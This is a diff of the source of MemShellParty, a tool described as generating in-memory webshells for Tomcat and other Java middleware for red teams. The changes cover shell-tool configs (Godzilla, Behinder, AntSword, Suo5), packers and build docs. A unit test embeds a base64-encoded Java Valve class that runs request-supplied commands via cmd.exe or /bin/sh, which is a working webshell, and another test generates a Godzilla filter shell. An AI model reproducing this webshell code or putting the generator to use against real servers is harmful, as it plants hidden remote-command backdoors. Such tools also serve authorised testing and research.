||||
|
||||
<div align="center">
|
||||
@@ -29,9 +24,12 @@
|
||||
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
|
||||

|
||||
|
||||

|
||||
<p align="center">
|
||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
|
||||
## 主要特性
|
||||
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 236 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 265 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 268 KiB |
@@ -1,6 +1,6 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "3.5.3"
|
||||
id("org.springframework.boot") version "3.5.7"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
@@ -23,7 +23,6 @@ configurations {
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation(project(":packer")) {
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.springframework.asm.ClassReader;
|
||||
import org.springframework.cglib.core.ClassNameReader;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.PostMapping;
|
||||
import org.springframework.web.bind.annotation.RequestBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
@RestController
|
||||
@CrossOrigin("*")
|
||||
public class ClassNameParseController {
|
||||
|
||||
@PostMapping("/className")
|
||||
public String className(@RequestBody String classBase64) {
|
||||
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||
}
|
||||
}
|
||||
@@ -2,7 +2,6 @@ package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
@@ -27,7 +26,8 @@ public class ConfigController {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer).getShellInjectorMapping().getSupportedShellTypes();
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||
.getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||
}
|
||||
return servers;
|
||||
@@ -46,16 +46,13 @@ public class ConfigController {
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
if (server == null) {
|
||||
continue;
|
||||
}
|
||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||
for (ShellTool shellTool : server.getSupportedShellTools()) {
|
||||
for (String shellTool : server.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||
if (supportedShellTypes.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
map.put(shellTool.name(), supportedShellTypes);
|
||||
map.put(shellTool, supportedShellTypes);
|
||||
}
|
||||
coreMap.put(supportedServer, map);
|
||||
}
|
||||
|
||||
+5
-5
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
if (packer instanceof JarPacker) {
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
@@ -2,9 +2,9 @@ package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.utils.CommonUtil;
|
||||
import lombok.Data;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import static com.reajason.javaweb.memshell.ShellTool.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -18,7 +18,7 @@ public class MemShellGenerateRequest {
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
static class ShellToolConfigDTO {
|
||||
public static class ShellToolConfigDTO {
|
||||
private String shellClassName;
|
||||
private String godzillaPass;
|
||||
private String godzillaKey;
|
||||
@@ -36,38 +36,38 @@ public class MemShellGenerateRequest {
|
||||
return switch (shellConfig.getShellTool()) {
|
||||
case Godzilla -> GodzillaConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaPass(), CommonUtil.getRandomString(8)))
|
||||
.key(StringUtils.defaultIfBlank(shellToolConfig.getGodzillaKey(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getGodzillaPass())
|
||||
.key(shellToolConfig.getGodzillaKey())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Behinder -> BehinderConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getBehinderPass(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getBehinderPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Command -> CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(shellToolConfig.getImplementationClass()))
|
||||
.build();
|
||||
case Suo5 -> Suo5Config.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case AntSword -> AntSwordConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(StringUtils.defaultIfBlank(shellToolConfig.getAntSwordPass(), CommonUtil.getRandomString(8)))
|
||||
.pass(shellToolConfig.getAntSwordPass())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.build();
|
||||
case Custom -> CustomConfig.builder()
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
|
||||
@@ -21,7 +21,6 @@ public class ProbeShellGenerateRequest {
|
||||
private String server;
|
||||
private String sleepServer;
|
||||
private String reqParamName;
|
||||
private String reqHeaderName;
|
||||
}
|
||||
|
||||
public ProbeContentConfig parseProbeContentConfig() {
|
||||
@@ -35,7 +34,6 @@ public class ProbeShellGenerateRequest {
|
||||
.build();
|
||||
case ResponseBody -> ResponseBodyConfig.builder()
|
||||
.reqParamName(probeContentConfig.reqParamName)
|
||||
.reqHeaderName(probeContentConfig.reqHeaderName)
|
||||
.server(probeContentConfig.server)
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
class ClassNameParseControllerTest {
|
||||
@Test
|
||||
void test(){
|
||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||
}
|
||||
}
|
||||
+3
-12
@@ -27,30 +27,21 @@ public class ConfigControllerIntegrationTest {
|
||||
@Test
|
||||
public void testConfigEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
|
||||
Map body = response.getBody();
|
||||
assertNotNull(body);
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigServersEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
|
||||
Map body = response.getBody();
|
||||
assertNotNull(body);
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
|
||||
List<String> body = response.getBody();
|
||||
assertNotNull(body);
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
+58
@@ -0,0 +1,58 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/9/16
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
class MemShellGeneratorControllerTest {
|
||||
|
||||
@Autowired
|
||||
TestRestTemplate restTemplate;
|
||||
|
||||
@Test
|
||||
void generateShell() {
|
||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||
request.setShellConfig(ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shrink(true)
|
||||
.debug(true)
|
||||
.serverVersion("Unknown")
|
||||
.targetJreVersion(50)
|
||||
.build());
|
||||
request.setInjectorConfig(InjectorConfig.builder()
|
||||
.urlPattern("/*")
|
||||
.build());
|
||||
request.setPacker(Packers.ScriptEngine);
|
||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||
shellToolConfigDTO.setGodzillaKey("key");
|
||||
shellToolConfigDTO.setGodzillaPass("pass");
|
||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||
shellToolConfigDTO.setHeaderValue("hello");
|
||||
request.setShellToolConfig(shellToolConfigDTO);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
+1
-1
@@ -9,7 +9,7 @@ idea {
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.0.0"
|
||||
version = "2.2.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
|
||||
@@ -25,12 +25,12 @@ bun run build
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
cd MemShellParty
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-2.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
@@ -39,7 +39,7 @@ java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
build/libs/boot-2.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
@@ -58,14 +58,12 @@ docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
|
||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
```bash
|
||||
# 基础构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 基础镜像启动,访问 127.0.0.1:8080
|
||||
@@ -73,7 +71,6 @@ docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# 自定义访问路径构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
@@ -18,7 +18,7 @@ inject(context, shell);
|
||||
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
|
||||
jakarta,无须重复实现。
|
||||
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
|
||||
方法上,因此推荐按参考实现一样使用空实现。
|
||||
方法上,因此推荐按参考实现一样使用空实现,额外需要注意 getResponseFromRequest 中的 request 请求参数声明必须为 Object。
|
||||
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
|
||||
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
|
||||
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`、
|
||||
|
||||
@@ -18,12 +18,12 @@
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>2.0.0-SNAPSHOT</version>
|
||||
<version>2.0.0</version>
|
||||
</dependency>
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>packer</artifactId>
|
||||
<version>2.0.0-SNAPSHOT</version>
|
||||
<version>2.0.0</version>
|
||||
</dependency>
|
||||
</dependencies>
|
||||
|
||||
|
||||
+3
-2
@@ -1,6 +1,5 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
@@ -10,6 +9,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/6
|
||||
@@ -17,7 +18,7 @@ import com.reajason.javaweb.packer.Packers;
|
||||
public class Godzilla {
|
||||
public static void main(String[] args) {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.server(Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // 缩小字节码
|
||||
|
||||
+3
-2
@@ -9,11 +9,12 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import com.sun.security.ntlm.Server;
|
||||
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.Server.Tomcat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/4/6
|
||||
@@ -22,7 +23,7 @@ public class GodzillaAgent {
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.server(Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // 缩小字节码
|
||||
|
||||
@@ -39,10 +39,9 @@ dependencies {
|
||||
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(libs.bcel)
|
||||
implementation(libs.okhttp3)
|
||||
implementation(libs.logback.classic)
|
||||
implementation(libs.jackson.databind)
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testImplementation(libs.hamcrest)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
testImplementation(libs.bundles.mockito)
|
||||
}
|
||||
@@ -24,15 +24,6 @@ public class MemShellGenerator {
|
||||
if (server == null) {
|
||||
throw new GenerationException("Unsupported server: " + serverName);
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
Class<?> injectorClass = null;
|
||||
|
||||
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
|
||||
@@ -47,7 +38,15 @@ public class MemShellGenerator {
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
}
|
||||
|
||||
byte[] shellBytes = shellConfig.getShellTool().generateBytes(shellConfig, shellToolConfig);
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig.setInjectorClass(injectorClass);
|
||||
injectorConfig.setShellClassName(shellToolConfig.getShellClassName());
|
||||
|
||||
@@ -219,7 +219,7 @@ public class ServerFactory {
|
||||
});
|
||||
}
|
||||
|
||||
public static void addToolMapping(ShellTool shellTool, ToolMapping toolMapping) {
|
||||
public static void addToolMapping(String shellTool, ToolMapping toolMapping) {
|
||||
Map<String, Class<?>> rawToolMapping = toolMapping.getShellClassMap();
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
@@ -235,7 +235,10 @@ public class ServerFactory {
|
||||
}
|
||||
toolMappingBuilder.addShellClass(shellType, shellClass);
|
||||
}
|
||||
server.addToolMapping(shellTool, toolMappingBuilder.build());
|
||||
ToolMapping mapping = toolMappingBuilder.build();
|
||||
if (mapping.isNotEmpty()) {
|
||||
server.addToolMapping(shellTool, mapping);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,41 +1,15 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.ShellGenerator;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.generator.*;
|
||||
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||
|
||||
import java.lang.reflect.Constructor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
* @since 2025/8/22
|
||||
*/
|
||||
public enum ShellTool {
|
||||
Godzilla(GodzillaGenerator.class, GodzillaConfig.class),
|
||||
Command(CommandGenerator.class, CommandConfig.class),
|
||||
Behinder(BehinderGenerator.class, BehinderConfig.class),
|
||||
Suo5(Suo5Generator.class, Suo5Config.class),
|
||||
AntSword(AntSwordGenerator.class, AntSwordConfig.class),
|
||||
